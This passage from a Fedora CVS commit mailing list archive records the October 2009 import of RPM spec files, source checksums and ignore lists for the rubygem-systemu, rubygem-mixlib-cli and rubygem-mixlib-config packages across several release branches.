- Initial CVS import



--- NEW FILE import.log ---
rubygem-systemu-1_2_0-3_magoazul:F-12:rubygem-systemu-1.2.0-3.magoazul.src.rpm:1255585979


--- NEW FILE license.txt ---
for all code found under http://codeforpeople.com/lib/ or at http://rubyforge.org/projects/codeforpeople.com/

same as Ruby's

  http://www.ruby-lang.org/en/LICENSE.txt

unless otherwise noted


--- NEW FILE rubygem-systemu.spec ---
# Generated from systemu-1.2.0.gem by gem2rpm -*- rpm-spec -*-
%global ruby_sitelib %(ruby -rrbconfig -e "puts Config::CONFIG['sitelibdir']")
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname systemu
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Multi-platform command execution and capture
Name: rubygem-%{gemname}
Version: 1.2.0
Release: 3%{?dist}
Group: Development/Languages
License: GPLv2 or Ruby
URL: http://codeforpeople.com/lib/ruby/systemu/
Source0: http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
Source1: http://codeforpeople.com/lib/license.txt
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
systemu can be used on any platform to return status, stdout, and stderr of any
command.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%package -n ruby-%{gemname}
Summary: Non-Gem support package for %{gemname}
Group: Development/Languages

Requires: %{name} = %{version}-%{release}
Provides: ruby(%{gemname}) = %{version}-%{release}

%description -n ruby-%{gemname}
This package provides non-Gem support for %{gemname}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

# Gem doesn't ship with a LICENSE
install -m 644 -p %{SOURCE1} %{buildroot}%{geminstdir}/license.txt

# Remove some fluff
rm -f %{buildroot}%{geminstdir}/a.rb \
      %{buildroot}%{geminstdir}/install.rb \
      %{buildroot}%{geminstdir}/gen_readme.rb \
      %{buildroot}%{geminstdir}/README.tmpl

# Also ships as tar.gz with installer, so provide non-gem support
# thanks rubygem-json!
create_symlink_rec(){

ORIGBASEDIR=$1
TARGETBASEDIR=$2

## First calculate relative path of ORIGBASEDIR 
## from TARGETBASEDIR
TMPDIR=$TARGETBASEDIR
BACKDIR=
DOWNDIR=
num=0
nnum=0
while true
do
        num=$((num+1))
        TMPDIR=$(echo $TMPDIR | %{__sed} -e 's|/[^/][^/]*$||')
        DOWNDIR=$(echo $ORIGBASEDIR | %{__sed} -e "s|^$TMPDIR||")
        if [ x$DOWNDIR != x$ORIGBASEDIR ]
        then
                nnum=0
                while [ $nnum -lt $num ]
                do
                        BACKDIR="../$BACKDIR"
                        nnum=$((nnum+1))
                done
                break
        fi
done

RELBASEDIR=$( echo $BACKDIR/$DOWNDIR | %{__sed} -e 's|//*|/|g' )

## Next actually create symlink
pushd %{buildroot}/$ORIGBASEDIR
find . -type f | while read f
do
        DIRNAME=$(dirname $f)
        BACK2DIR=$(echo $DIRNAME | %{__sed} -e 's|/[^/][^/]*|/..|g')
        %{__mkdir_p} %{buildroot}${TARGETBASEDIR}/$DIRNAME
        LNNAME=$(echo $BACK2DIR/$RELBASEDIR/$f | \
                %{__sed} -e 's|^\./||' | %{__sed} -e 's|//|/|g' | \
                %{__sed} -e 's|/\./|/|' )
        %{__ln_s} -f $LNNAME %{buildroot}${TARGETBASEDIR}/$f
done
popd

}

create_symlink_rec %{geminstdir}/lib %{ruby_sitelib}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc %{geminstdir}/license.txt
%doc %{geminstdir}/README
%dir %{geminstdir}
%{geminstdir}/gemspec.rb
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/samples
%{gemdir}/doc/%{gemname}-%{version}

%files -n ruby-%{gemname}
%defattr(-,root,root,-)
%{ruby_sitelib}/%{gemname}.rb

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 1.2.0-3
- Remove redundant doc Requires on rubygems.

* Tue Sep 29 2009 Matthew Kent <mkent at magoazul.com> - 1.2.0-2
- Include a copy of the license (#525988).
- Fix license (#525988).
- Use global over define (#525988).

* Wed Sep 23 2009 Matthew Kent <mkent at magoazul.com> - 1.2.0-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-systemu/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:25:50 -0000	1.1
+++ .cvsignore	15 Oct 2009 05:53:22 -0000	1.2
@@ -0,0 +1 @@
+systemu-1.2.0.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-systemu/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:25:50 -0000	1.1
+++ sources	15 Oct 2009 05:53:23 -0000	1.2
@@ -0,0 +1 @@
+5d7eeb75395e74683c16542c0adbb984  systemu-1.2.0.gem



From mkent at fedoraproject.org  Thu Oct 15 05:58:32 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 05:58:32 +0000 (UTC)
Subject: rpms/rubygem-mixlib-cli/devel import.log, NONE,
	1.1 rubygem-mixlib-cli.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091015055832.A4B7E11C00DB@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-mixlib-cli/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32099/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-mixlib-cli.spec 
Log Message:
- Initial CVS import



--- NEW FILE import.log ---
rubygem-mixlib-cli-1_0_4-3_magoazul:HEAD:rubygem-mixlib-cli-1.0.4-3.magoazul.src.rpm:1255586286


--- NEW FILE rubygem-mixlib-cli.spec ---
# Generated from mixlib-cli-1.0.4.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname mixlib-cli
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Simple ruby mixin for CLI interfaces
Name: rubygem-%{gemname}
Version: 1.0.4
Release: 3%{?dist}
Group: Development/Languages
License: ASL 2.0
URL: http://github.com/opscode/mixlib-cli
Source0: http://gems.opscode.com/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildRequires(check): rubygem(rake), rubygem(rspec)
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
A simple mixin for CLI interfaces, including option parsing.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
rake spec

%files
%defattr(-, root, root, -)
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/README.rdoc
%dir %{geminstdir}
%{geminstdir}/Rakefile
%{geminstdir}/VERSION.yml
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/spec
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 1.0.4-3
- Remove unused ruby_sitelib macro (#526179).
- Remove redundant doc Requires on rubygems (#526179).

* Sun Oct 4 2009 Matthew Kent <mkent at magoazul.com> - 1.0.4-2
- Remove redundant path in doc package (#526179).
- Use global over define (#526179).

* Mon Sep 28 2009 Matthew Kent <mkent at magoazul.com> - 1.0.4-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-cli/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:17:26 -0000	1.1
+++ .cvsignore	15 Oct 2009 05:58:31 -0000	1.2
@@ -0,0 +1 @@
+mixlib-cli-1.0.4.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-cli/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:17:26 -0000	1.1
+++ sources	15 Oct 2009 05:58:32 -0000	1.2
@@ -0,0 +1 @@
+18023369c6a626faf79ecf87cc50749b  mixlib-cli-1.0.4.gem



From mkent at fedoraproject.org  Thu Oct 15 05:59:14 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 05:59:14 +0000 (UTC)
Subject: rpms/rubygem-mixlib-cli/F-11 import.log, NONE,
	1.1 rubygem-mixlib-cli.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091015055914.4B5B411C00DB@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-mixlib-cli/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32420/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-mixlib-cli.spec 
Log Message:
- Initial CVS import



--- NEW FILE import.log ---
rubygem-mixlib-cli-1_0_4-3_magoazul:F-11:rubygem-mixlib-cli-1.0.4-3.magoazul.src.rpm:1255586331


--- NEW FILE rubygem-mixlib-cli.spec ---
# Generated from mixlib-cli-1.0.4.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname mixlib-cli
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Simple ruby mixin for CLI interfaces
Name: rubygem-%{gemname}
Version: 1.0.4
Release: 3%{?dist}
Group: Development/Languages
License: ASL 2.0
URL: http://github.com/opscode/mixlib-cli
Source0: http://gems.opscode.com/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildRequires(check): rubygem(rake), rubygem(rspec)
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
A simple mixin for CLI interfaces, including option parsing.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
rake spec

%files
%defattr(-, root, root, -)
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/README.rdoc
%dir %{geminstdir}
%{geminstdir}/Rakefile
%{geminstdir}/VERSION.yml
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/spec
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 1.0.4-3
- Remove unused ruby_sitelib macro (#526179).
- Remove redundant doc Requires on rubygems (#526179).

* Sun Oct 4 2009 Matthew Kent <mkent at magoazul.com> - 1.0.4-2
- Remove redundant path in doc package (#526179).
- Use global over define (#526179).

* Mon Sep 28 2009 Matthew Kent <mkent at magoazul.com> - 1.0.4-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-cli/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:17:26 -0000	1.1
+++ .cvsignore	15 Oct 2009 05:59:13 -0000	1.2
@@ -0,0 +1 @@
+mixlib-cli-1.0.4.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-cli/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:17:26 -0000	1.1
+++ sources	15 Oct 2009 05:59:14 -0000	1.2
@@ -0,0 +1 @@
+18023369c6a626faf79ecf87cc50749b  mixlib-cli-1.0.4.gem



From mkent at fedoraproject.org  Thu Oct 15 06:00:15 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 06:00:15 +0000 (UTC)
Subject: rpms/rubygem-mixlib-cli/F-12 import.log, NONE,
	1.1 rubygem-mixlib-cli.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091015060015.BD51711C02A2@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-mixlib-cli/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv815/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-mixlib-cli.spec 
Log Message:
- Initial CVS import



--- NEW FILE import.log ---
rubygem-mixlib-cli-1_0_4-3_magoazul:F-12:rubygem-mixlib-cli-1.0.4-3.magoazul.src.rpm:1255586382


--- NEW FILE rubygem-mixlib-cli.spec ---
# Generated from mixlib-cli-1.0.4.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname mixlib-cli
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Simple ruby mixin for CLI interfaces
Name: rubygem-%{gemname}
Version: 1.0.4
Release: 3%{?dist}
Group: Development/Languages
License: ASL 2.0
URL: http://github.com/opscode/mixlib-cli
Source0: http://gems.opscode.com/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildRequires(check): rubygem(rake), rubygem(rspec)
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
A simple mixin for CLI interfaces, including option parsing.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
rake spec

%files
%defattr(-, root, root, -)
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/README.rdoc
%dir %{geminstdir}
%{geminstdir}/Rakefile
%{geminstdir}/VERSION.yml
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/spec
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 1.0.4-3
- Remove unused ruby_sitelib macro (#526179).
- Remove redundant doc Requires on rubygems (#526179).

* Sun Oct 4 2009 Matthew Kent <mkent at magoazul.com> - 1.0.4-2
- Remove redundant path in doc package (#526179).
- Use global over define (#526179).

* Mon Sep 28 2009 Matthew Kent <mkent at magoazul.com> - 1.0.4-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-cli/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:17:26 -0000	1.1
+++ .cvsignore	15 Oct 2009 06:00:15 -0000	1.2
@@ -0,0 +1 @@
+mixlib-cli-1.0.4.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-cli/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:17:26 -0000	1.1
+++ sources	15 Oct 2009 06:00:15 -0000	1.2
@@ -0,0 +1 @@
+18023369c6a626faf79ecf87cc50749b  mixlib-cli-1.0.4.gem



From mkent at fedoraproject.org  Thu Oct 15 06:01:41 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 06:01:41 +0000 (UTC)
Subject: rpms/rubygem-mixlib-config/devel import.log, NONE,
	1.1 rubygem-mixlib-config.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091015060141.C898F11C00DB@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-mixlib-config/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1762/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-mixlib-config.spec 
Log Message:
- Initial CVS import



--- NEW FILE import.log ---
rubygem-mixlib-config-1_0_12-2_magoazul:HEAD:rubygem-mixlib-config-1.0.12-2.magoazul.src.rpm:1255586477


--- NEW FILE rubygem-mixlib-config.spec ---
# Generated from mixlib-config-1.0.9.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname mixlib-config
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Simple ruby config mixin
Name: rubygem-%{gemname}
Version: 1.0.12
Release: 2%{?dist}
Group: Development/Languages
License: ASL 2.0
URL: http://github.com/opscode/mixlib-config
Source0: http://gems.opscode.com/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildRequires(check): rubygem(rake), rubygem(rspec)
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
A class based config mixin, similar to the one found in Chef.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
rake spec

%files
%defattr(-, root, root, -)
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/README.rdoc
%dir %{geminstdir}
%{geminstdir}/Rakefile
%{geminstdir}/VERSION.yml
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/spec
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 1.0.12-2
- Missing complete source url (#526180).
- Remove unused ruby_sitelib macro (#526180).
- Remove redundant doc Requires on rubygems (#526180).

* Sun Oct 4 2009 Matthew Kent <mkent at magoazul.com> - 1.0.12-1
- Remove redundant path in doc package (#526180).
- Use global over define (#526180).
- New upstream version (#526180).

* Mon Sep 28 2009 Matthew Kent <mkent at magoazul.com> - 1.0.9-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-config/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:18:12 -0000	1.1
+++ .cvsignore	15 Oct 2009 06:01:41 -0000	1.2
@@ -0,0 +1 @@
+mixlib-config-1.0.12.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-config/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:18:12 -0000	1.1
+++ sources	15 Oct 2009 06:01:41 -0000	1.2
@@ -0,0 +1 @@
+c8c5e1f3bfcfa91c0da3fa54af3b1abf  mixlib-config-1.0.12.gem



From mkent at fedoraproject.org  Thu Oct 15 06:02:40 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 06:02:40 +0000 (UTC)
Subject: rpms/rubygem-mixlib-config/F-11 import.log, NONE,
	1.1 rubygem-mixlib-config.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091015060240.8DF0911C00DB@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-mixlib-config/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2128/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-mixlib-config.spec 
Log Message:
- Initial CVS import



--- NEW FILE import.log ---
rubygem-mixlib-config-1_0_12-2_magoazul:F-11:rubygem-mixlib-config-1.0.12-2.magoazul.src.rpm:1255586529


--- NEW FILE rubygem-mixlib-config.spec ---
# Generated from mixlib-config-1.0.9.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname mixlib-config
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Simple ruby config mixin
Name: rubygem-%{gemname}
Version: 1.0.12
Release: 2%{?dist}
Group: Development/Languages
License: ASL 2.0
URL: http://github.com/opscode/mixlib-config
Source0: http://gems.opscode.com/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildRequires(check): rubygem(rake), rubygem(rspec)
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
A class based config mixin, similar to the one found in Chef.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
rake spec

%files
%defattr(-, root, root, -)
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/README.rdoc
%dir %{geminstdir}
%{geminstdir}/Rakefile
%{geminstdir}/VERSION.yml
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/spec
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 1.0.12-2
- Missing complete source url (#526180).
- Remove unused ruby_sitelib macro (#526180).
- Remove redundant doc Requires on rubygems (#526180).

* Sun Oct 4 2009 Matthew Kent <mkent at magoazul.com> - 1.0.12-1
- Remove redundant path in doc package (#526180).
- Use global over define (#526180).
- New upstream version (#526180).

* Mon Sep 28 2009 Matthew Kent <mkent at magoazul.com> - 1.0.9-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-config/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:18:12 -0000	1.1
+++ .cvsignore	15 Oct 2009 06:02:40 -0000	1.2
@@ -0,0 +1 @@
+mixlib-config-1.0.12.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-config/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:18:12 -0000	1.1
+++ sources	15 Oct 2009 06:02:40 -0000	1.2
@@ -0,0 +1 @@
+c8c5e1f3bfcfa91c0da3fa54af3b1abf  mixlib-config-1.0.12.gem



From mkent at fedoraproject.org  Thu Oct 15 06:04:00 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 06:04:00 +0000 (UTC)
Subject: rpms/rubygem-mixlib-config/F-12 import.log, NONE,
	1.1 rubygem-mixlib-config.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091015060400.EE23611C00DB@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-mixlib-config/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2613/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-mixlib-config.spec 
Log Message:
- Initial CVS import



--- NEW FILE import.log ---
rubygem-mixlib-config-1_0_12-2_magoazul:F-12:rubygem-mixlib-config-1.0.12-2.magoazul.src.rpm:1255586599


--- NEW FILE rubygem-mixlib-config.spec ---
# Generated from mixlib-config-1.0.9.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname mixlib-config
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Simple ruby config mixin
Name: rubygem-%{gemname}
Version: 1.0.12
Release: 2%{?dist}
Group: Development/Languages
License: ASL 2.0
URL: http://github.com/opscode/mixlib-config
Source0: http://gems.opscode.com/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildRequires(check): rubygem(rake), rubygem(rspec)
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
A class based config mixin, similar to the one found in Chef.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
rake spec

%files
%defattr(-, root, root, -)
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/README.rdoc
%dir %{geminstdir}
%{geminstdir}/Rakefile
%{geminstdir}/VERSION.yml
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/spec
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 1.0.12-2
- Missing complete source url (#526180).
- Remove unused ruby_sitelib macro (#526180).
- Remove redundant doc Requires on rubygems (#526180).

* Sun Oct 4 2009 Matthew Kent <mkent at magoazul.com> - 1.0.12-1
- Remove redundant path in doc package (#526180).
- Use global over define (#526180).
- New upstream version (#526180).

* Mon Sep 28 2009 Matthew Kent <mkent at magoazul.com> - 1.0.9-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-config/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:18:12 -0000	1.1
+++ .cvsignore	15 Oct 2009 06:04:00 -0000	1.2
@@ -0,0 +1 @@
+mixlib-config-1.0.12.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-config/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:18:12 -0000	1.1
+++ sources	15 Oct 2009 06:04:00 -0000	1.2
@@ -0,0 +1 @@
